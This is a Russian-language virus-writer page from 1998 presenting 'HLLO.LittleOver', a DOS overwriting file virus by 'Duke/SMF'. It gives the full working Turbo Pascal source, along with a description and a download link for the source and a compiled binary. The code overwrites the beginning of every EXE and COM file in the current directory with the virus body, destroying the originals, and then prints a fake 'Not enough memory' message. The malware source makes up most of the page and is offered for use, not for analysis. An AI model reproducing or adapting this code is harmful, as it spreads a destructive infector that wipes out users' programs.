HLLO.LittleOver.2688
(c) by Duke/SMF
Имя вируса : LittleOver version 1
Автор : Duke/SMF
Дата создания : 28.09.98
Длина : 2688 байт
Тип : HLLO
Очень опасный нерезидентный неполиморфный файловый вирус. Написан на Turbo
Pascal 7.0. Записывается в начало всех EXE и COM файлов текущего каталога,
не сохраняя оригинального содержимого файлов и не изменяя размер файла.
Перед заражением на файл устанавливается атрибут "Архивный".
Очень примитивный (не проверяет на повторное заражение) и имеет малый размер.
Содержит в теле строку "[LittleOver, Duke/SMF]", которая на экран никогда
не выводится. В конце работы выдает сообщение "Not enough memory".
Я привожу его как пример самого маленького вируса на паскале.
===== Cut here =====
{$I-,S-} {используются для уменьшения кода вируса}
uses dos;
const len=2688; {длина вируса}
var vir : file; {запущенный вирус}
mas : array[1..len] of byte; {массив с телом вируса}
{--------------------------------------}
procedure Infect(i:string); {Заражение файлов}
var g:file;
begin
assign(g,i);
setfattr(g,$20); {установка атрибута Arhive}
reset(g,1); {открыли файл-жертву}
blockwrite(g,mas,len); {записали поверх вирус}
close(g); {закрыли жертву}
end;
{---------------------------------------}
procedure Find(st:string); {Поиск файлов в текущем каталоге}
var s:searchrec;
begin
findfirst(st,$21,s);
while doserror=0 do
begin
Infect(s.name);
findnext(s);
end;
end;
{---------------------------------------}
begin
assign(vir,paramstr(0));reset(vir,1); {открыли файл с вирусом}
blockread(vir,mas,len); {считали вирус в память}
close(vir);
Find('*.exe'); {поиск *.exe}
Find('*.com'); {поиск *.com}
{--- Я допустил вставку на ASM'е так как}
{--- без нее вполне можно было обойтись}
asm
jmp @Next
db '[LittleOver, Duke/SMF]',0 {copyright вируса}
@TXT: db 'Not enough memory$'
@Next: {вывод строки на экран}
push ds
push cs
pop ds
mov dx,offset @TXT
mov ah,9
int 21h
pop ds
end;
end.
===== Cut here =====
 |
Здесь вы можете скачать: |
Вирус HLLC.LittleOver - исходник и откомпилированный